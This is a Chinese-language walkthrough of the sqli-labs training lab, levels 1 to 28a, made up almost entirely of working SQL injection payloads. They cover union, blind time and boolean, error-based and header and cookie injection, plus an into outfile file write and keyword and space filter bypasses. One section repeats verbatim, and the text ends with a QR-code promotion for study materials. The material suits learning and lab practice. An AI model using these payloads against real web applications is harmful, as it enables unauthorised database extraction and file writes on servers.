Less-1 GET-Error based - Single quotes - String
成功payload
1' union select 1,database(),user()%23
1' and 1=2 union select user(),1,database()--+
- 经测试 输出时会输出 3 列,所以此处 union select 需 select 三个数据
* `1‘ order by 4--+`时会报错,1~3则不会报错,所以推测有三列
- 会过滤掉 # 可采用 以下方式解决:
* URL编码下的 %23 代替 #
* -+注释符
- 根据报错提示猜测原拼接的SQL语句最后用 limit 0,1 用于限制输出~~~~的结果,所以需注释掉后续语句
进一步探索
1' and 1=2 union select 1,schema_name,default_character_set_name from information_schema.schemata limit 1,2--+
改变 limit 后的范围即可配合Burp 确认所有存在的数据库
Less-2 GET-Error based - Intiger quotes
与Less-1的区别在于,此时id后的参数是作为整型出现的,而不是字符串了
成功playload
1' union select 1,database(),user()%23
其余全部一致
Less-3 GET-Error based - Single quotes whit twist - String
与Less-1的区别在于,由报错信息可得此处闭合前面语句所需要的是 ')
成功playload
1') union select 1,database(),user()%23
其余全部一致
Less-4 GET-Error based - Double Quotes - String
与Less-1的区别在于,由报错信息可得此处闭合前面语句所需要的是 “)
成功playload
1“) union select 1,database(),user()%23
其余全部一致
Less-5 Less-5 Double Query- Single Quotes- String
采取基于时间的盲注
测试是否存在SQL
直接采用sleep(5)进行判定
1' union select 1,sleep(5),3#
测试发现确实延时返回,确认存在SQL注入
通过对返回包的观察,发现该题 执行成功SQL语句 后统一只会返回一句
You are in......
于是乎首先构建一个基于if()
的时间盲注语句
1' and 1=2 union select if(substring(database(),1,1) = 's',sleep(60),1)#
此处由于为了便于观测结果,所以执行成功则延时60s,这样所有被延时的字符就是最终数据库名字中存在的字符
再通过Burp暴力破解出database()的名字
Less-6 Double Query- Double Quotes- String
与Less-5的区别在于,此处对于id的闭合使用的是双引号 “
成功playload
1" union select 1,sleep(5),3%23
其余全部一致
Less-7 Less-7 Dump into Outfile
根据提示我们想到本题应该用到写入文件的操作 into outfile
首先要确保数据库可以写入文件
-
确保相关目录有写入的权限
/var/www/sqlilabs
-
确保数据库与本地文件是否有交互的权限
show variables like '%secure%'
要求secure_file_priv
必须为空:为NULL则表示不允许mysql与本地文件做交互;若写着目录,则表示只允许与该目录做交互
成功payload
- 首先测试闭合,经初步测试发现有几种闭合方式均没有报错,所以后续都需要进行尝试
-
前面已经测试过列数了,所以此处无需再order by
-
通过into outfile将文件保存于目录下的文件中
id=1')) and 1=2 union select database(),2,user() into outfile "/var/www/sqlilabs/Less-7/4.txt"%23
写入成功,直接访问即可
Less-8 Blind- Boolian- Single Quotes- String
与Less-5用的方法一致
成功payload
id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23
- 首先测试如何闭合
由测试可知只有%27
时也就是'
闭合时才执行了sleep(5)
,所以用’闭合
- 与Less-5一样测试即可
Less-9 Blind- Time based- Single Quotes- String
与Less-5、Less-8用的方法一致
成功payload
id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23
Less-10 Blind- Time based- Double Quotes- String
与Less-5、Less-8、Less-9用的方法一致
唯一的不同在于,此处用"
闭合
成功payload
id=1" and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23
Less-11- Error Based- String
该题方法较多,基本的闭合union select也可完成
成功payload
首先通过order by确认返回数据的列数(也可以认为是返回数据的数量)
- 基本闭合union select
admin' and 1=2 union select user(),database()#
- XPath报错注入
admin' and 1=2 union select extractvalue("haha",concat("~",(select database()))),2#
- 基于floor()的主键重复报错注入
admin' and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a#
具体原理见之前的文章
Less-12- Error Based- Double quotes- String
与Less-11用的方法一致,闭合方式发生改变 为 ")
成功payload
admin") and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#
Less-13- Double Injection- String- with twist
与Less-11用的方法一致,闭合方式发生改变 为 ')
成功payload
admin') and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#
Less-14- Double Injection- Double quotes- String
与Less-11用的方法一致,闭合方式发生改变 为"
成功payload
admin" and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#
Less-15- Blind- Boolian Based- String
与前面的布尔/时间盲注类似只不过为POST请求
成功payload
admin' and 1=2 union select if(length(database())>2,sleep(5),1),1#
Less-16- Blind- Time Based- Double quotes- String
与前面的布尔/时间盲注类似只不过为POST请求
成功payload
admin") and 1=2 union select if(length(database())>2,sleep(5),1),1#
Less-17 Update Query- Error based - String
该题为update语句用于更新密码,判断注入点是关键所在
本体开始怀疑注入点依旧位于User
Name处,但用Burp跑了一遍闭合的各种情况后,发现均没有报错只有图片提示更改密码失败,于是更换思路,在password处寻找注入点,
果然经123'
的测试有报错信息返回,确认注入点在此处,于是拼接报错注入语句(User Name处正常填写)
成功payload
User Name :admin
New Password:123' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a)#
Less-18 Header Injection- Error Based- string
有题目可知本体开始注入点发生变化
经测试发现注入点位于UA处(加单引号后报错提示) ,之后尝试拼接语句未果,百思不得其解,遂查看源码,发现语句为insert
,有些不太熟悉。
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";
其中:
-
$IP
无法找到其位置 -
$uname
受到input_check()
的过滤
遂将目光聚焦于**$uagent**
处
为了让insert into
语句正常执行,我们需要进行拼接,思路有这样两个
- 闭合
'$uagent'
' and extractvalue(1,concat(”~”,database())) and '1
' and extractvalue(1,concat(”~”,database())) and '1'='1
' or extractvalue(1,concat(”~”,database())) and '1
都可以完成拼接为
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('**Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0**' and extractvalue(1,concat(”~”,database())) and '1', '$IP', $uname)";
- 闭合
('$uagent', '$IP', $uname)"
',1,extractvalue(1,concat(”~”,database())))#
即可拼接为
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES (**'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
',1,extractvalue(1,concat(”~”,database())))#**, '$IP', $uname)";
成功payload
' and extractvalue(1,concat(”~”,database())) and '1'='1
',1,extractvalue(1,concat(”~”,database())))#
Less-19 Header Injection- Referer- Error Based- string
闭合利用方式与Less-19一致,区别在此处的注入点位于
**Referer**
处
成功payload
Referer: http://172.16.12.149:81/Less-19/' and extractvalue(1,concat("~",user())) and '1'='1
Less-20 Cookie Injection- Error Based- string
区别在此处的注入点位于
**cookie**
处
这题可能是因为机器性能的原因,导致做了三遍三种cookie,第一种怎么都是sql-lib原始的cookie,会给返回一个uname的set-
cookie,但得自己加上,要么啥也出不来;第二种是cookie字段中还带上了expires,还得自己手动添加很麻烦。直到重启了机器才正常过来
成功payload
很简单
uname = admin'and 1=2 union select user(),database(),version()#
Less-21 Cookie Injection- Error Based- complex - string
与上题构造方法基本一致
区别
-
闭合方式变为
')
-
cookie内容字段进行了base64编码
成功payload
admin') and 1=2 union select user(),database(),version()#
base64编码后
YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKSx2ZXJzaW9uKCkj
Less-23
172.16.12.154:81/Less-23/?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)' and '1
由于过滤了注释符,所以最后用and '1
闭合最后的'
即可
Less-24
创建一个新用户
-
账号 admin’#
-
密码 123
登录该用户,更改密码为 root
此时改的是admin的密码
Less-25
没啥新意感觉,就是过滤or和and还有没有编码的一些注释符
or和and双写就可以绕过,注释符URL编码即可
配合union select记好了
id=1' aandnd 1=2 union select user(),database(),3%23
Less-25a
改为数字型即可
id=1 aandnd 1=2 union select user(),database(),3%23
Less-26
本题过滤了所有的注释符、空格、or/and等符号
我们使用||逻辑或运算符、&&逻辑与运算符代替原来的or或and即可,效果是一样的,配合报错注入即可
id=-1'||(updatexml(1,concat("~",user()),0))||'1
Less-26a
本题报错注入不会回显 ,而且闭合方式变为’),所以需要找到其他可以代替空格的符号,分别有
-
%09
Tab键 水平 -
%0a
新建一行 -
%0c
新的一页 -
%d
return键 -
%0b
Tab键 垂直 -
%a0
空格
id=0%27)%a0union%a0select%a01,2,3||(%271
Less-27
本体过滤掉了select与union关键字,但报错注入依旧有效
id=-1'||(updatexml(1,concat("~",user()),0))||'1
而且多重重写也可绕过:selselselectectect
大小写也可以:SeLEct
Less-27a
同样报错注入没有回显,且闭合方式变为**"
**
会过滤union和select但依旧不严格,可以通过重写和大小写绕过
id=0%22%a0ununionion%a0sELect%a01,2,3||%221
Less-28
本题的主体也是过滤select
和union
,而且经测试这种过滤很有意思,如果但写select
或union
并不会被过滤,但如果二者共同出现就会被过滤吧,还有就是本体还有过滤空格(和上题一样,通过%0a绕过即可),还有就是会过滤*
这个符号,这就导致经典的floor报错注入
貌似完成不了了
但本体的绕过也很简单,双写被过滤词即可(不是复写)
-
payload1
id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00
-
payload2
id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aand%0A('1')=('1
⚠️ 两种写法都可以,只是最后的闭合方式不同
Less-28a
上面的payload
在这里也适用,可能是出题者并没想我们用这种方法来注入,想得是一个用报错注入一个布尔肓注
果但写select
或union
并不会被过滤,但如果二者共同出现就会被过滤吧,还有就是本体还有过滤空格(和上题一样,通过%0a绕过即可),还有就是会过滤*
这个符号,这就导致经典的floor报错注入
貌似完成不了了
但本体的绕过也很简单,双写被过滤词即可(不是复写)
-
payload1
id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00
-
payload2
id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aand%0A('1')=('1
⚠️ 两种写法都可以,只是最后的闭合方式不同
Less-28a
上面的payload
在这里也适用,可能是出题者并没想我们用这种方法来注入,想得是一个用报错注入一个布尔肓注
网络安全工程师企业级学习路线
这时候你当然需要一份系统性的学习路线
如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。
一些我收集的网络安全自学入门书籍
一些我白嫖到的不错的视频教程:
上述资料【扫下方二维码】就可以领取了,无偿分享